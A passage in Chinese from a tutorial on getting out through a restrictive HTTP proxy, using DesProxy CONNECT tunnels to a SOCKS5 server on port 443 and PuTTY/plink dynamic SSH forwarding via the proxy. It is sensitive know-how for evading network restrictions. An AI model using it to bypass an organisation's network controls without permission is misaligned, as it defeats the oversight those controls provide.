        由于hts和htc不支持CONNECT连接,我们可以使用另一个专门支持CONNECT的程序DesProxy  http://desproxy.sourceforge.net
来建立一个tunnel。由于使用CONNECT建立了直接的TCP连接,不需要将数据按http格式打包和解包,所以连tunnel server也不需要了,只需要在你原来运行hts机器上运行一个SOCKS5就行了,连接如下:

              desproxy  -------------> http proxy ----------------------> SOCKS5 server
         (localhost:8888)           (proxyhost:3128)                    (tunnelserver:443)

        desproxy命令的用法:
             desproxy remote_host remote_port proxy_host proxy_port local_port
       在这里remot_host,remote_port就是tunnelserver:443,proxy_host,proxy_port是porxyhost:3128,local_port就是8888。

        注意必须把SOCKS5运行在443端口,如果运行在其他端口的话,CONNECT请求会被http proxy拒绝。同样,我们在localhost:8888得到了一个可以访问外部的SOCK5服务。

4。最简单,最安全而且快速的方式:利用SSH + CONNECT
       实际上SSH提供了SOCKS5的功能,利用ssh客户端或PuTTY可以在本地建立一个SOCKS5服务,而且PuTTY也直接支持http proxy,最大的好处是ssh的数据连接是加密的,保证了数据的安全。使用ssh的连接如下:
         PuTTY(或plink) ------------> http  proxy  ---------------------> ssh server
      (localhost:8888)                 (proxyhost:3128)                     (tunnelserver:443->22)
     首先我们要让ssh server在443端口侦听,ssh默认端口是22,我们可以修改ssh的配置,或用iptables将443端口重定向到22端口,服务端的配置就 OK了。然后在PuTTY建立一个new session,填上ssh服务器的ip和port;在"Connection->Proxy"页,填上http proxy的ip和port;在"SSH -> Tunnels"页,"Source port"填本地的端口,在这里我们用8888",Destination"选"Dynamic",按"Add"将这个forward port加上,就OK了。配置完成后,用PuTTY登陆上ssh,用netstat -an可以看到PuTTY已经在localhost:8888侦听了,这是一个SOCKS5服务,下面改怎么用,就不用我罗嗦了吧:-)。另外 在"SSH"页,可以根据要求选择"Protocol options"。保存session后,也可以用命令行的plink命令来利用这个session:
       plink -load session_name           (session_name就是session保存的名称)
登陆后效果也一样。